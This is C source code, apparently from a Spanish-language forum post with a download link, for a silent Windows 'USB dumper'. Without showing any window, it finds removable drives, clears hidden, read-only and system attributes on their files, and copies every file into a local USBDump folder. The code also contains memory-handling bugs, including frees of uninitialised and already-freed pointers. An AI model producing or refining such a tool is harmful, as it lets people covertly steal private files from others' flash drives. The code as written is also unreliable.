#include <windows.h>
#include <shlwapi.h>
bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );
bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{
WIN32_FIND_DATA find;
HANDLE Search;
char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );
Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{
FindClose ( Search );
return false;
}
while ( FindNextFileA ( Search, & find ) )
{
char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );
lstrcatA ( CopyDirectory, find.cFileName );
if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );
ListDirectory ( CopyDirectory );
}
CopyFiles ( CopyDirectory, find.dwFileAttributes );
}
FindClose ( Search );
return true;
}
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{
LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;
if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}
Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{
for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}
if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );
dirent = false;
break;
}
}
Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );
CreateDirectoryA ( Temp, 0L );
GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );
return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}
if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{
SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}
PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );
CopyFileA ( lpszDirectory, PathComplete, false );
GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );
return true;
}
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{
LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );
LPSTR Drive = Drivers;
while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}
Drive += lstrlenA ( Drive ) + 1;
}
GlobalFree ( Drivers );
return EXIT_SUCCESS;
}
Los enlaces son solo para miembros.
Registrate o
iniciá sesiónLink de descarga:Los enlaces son solo para miembros.
Registrate o
iniciá sesiónSIN-PASS